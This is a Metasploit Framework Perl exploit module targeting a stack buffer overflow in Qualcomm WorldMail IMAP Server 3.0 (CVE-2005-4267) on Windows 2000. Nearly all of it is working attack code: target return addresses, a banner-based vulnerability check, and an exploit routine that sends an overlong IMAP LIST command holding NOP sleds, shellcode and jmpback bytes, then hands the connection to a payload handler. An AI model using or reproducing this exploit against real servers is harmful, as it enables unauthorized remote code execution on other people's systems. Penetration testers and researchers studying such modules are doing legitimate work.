##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::eudora_imap;
use strict;
use base 'Msf::Exploit';
use Msf::Socket::Tcp;
use Pex::Text;

my $advanced = {
};

my $info = {
'Name' => 'Qualcomm WorldMail IMAPD Server Buffer Overflow',
'Version' => '$Revision: 1.1 $',
'Authors' => [ 'y0 <y0 [at] w00t-shell.net>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000'],
'Priv' => 1,

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 143],
},

'AutoOpts' => { 'EXITFUNC' => 'process' },
'Payload' =>
{
'Space' => 750,
'BadChars' => "\x00",
'Prepend' => "\x81\xec\x96\x40\x00\x00\x66\x81\xe4\xf0\xff",
},

'Encoder' =>
{
'Keys' => ['+alphanum'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Qualcomm WorldMail IMAP Server
version 3.0 (build version 6.1.22.0).
}),

'Refs' =>
[
['CVE', '2005-4267'],
['BID', '15980'],
],

'Targets' =>
[
['Windows 2000 Pro English ALL', 0x75022ac4],
],

'DefaultTarget' => 0,

'Keys' => ['imap'],

'DisclosureDate' => 'Dec 20 2005',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

return($self);
}

sub Check {
my ($self) = @_;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');

my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}

$s->Send("A023 LOGOUT\r\n");
my $res = $s->Recv(-1, 20);
$s->Close();

if ($res !~ /WorldMail 3 IMAP4 Server 6\.1\.22\.0 ready/) {
$self->PrintLine("[*] This server does not appear to be vulnerable.");
return $self->CheckCode('Safe');
}

$self->PrintLine("[*] Vulnerable installation detected :-)");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $encodedPayload = $self->GetVar('EncodedPayload');
my $shellcode = $encodedPayload->Payload;
my $target = $self->Targets->[$targetIndex];

my $sock = Msf::Socket::Tcp->new(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
);

if($sock->IsError) {
$self->PrintLine('Error creating socket: ' . $sock->GetError);
return;
}

my $resp = $sock->Recv(-1, 3);
chomp($resp);
$self->PrintLine('[*] Got Banner: ' . $resp);
my $resp = $sock->Recv(-1, 3);
if($sock->IsError) {
$self->PrintLine('Socket error: ' . $sock->GetError);
return;
}

$self->PrintLine('[*] Sending overflow...');

my $jmpback =
"\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x2f\x77\x28".
"\x4b\x83\xeb\xfc\xe2\xf4\xf6\x99\xf1\x3f\x0b\x83\x71\xcb\xee\x7d".
"\xb8\xb5\xe2\x89\xe5\xb5\xe2\x88\xc9\x4b";

my $sploit =
"a001 LIST ". $self->MakeNops(20). $shellcode.
"\xeb\x06\x46\x92". pack('V', $target->[1]). $self->MakeNops(8).
$jmpback. $self->MakeNops(40). "}". "\r\n";

$sock->Send($sploit);

my $resp = $sock->Recv(-1, 3);
if(length($resp)) {
$self->PrintLine('[*] Got response, bad: ' . $resp);
}

$self->Handler($sock);
$sock->Close();
return;
}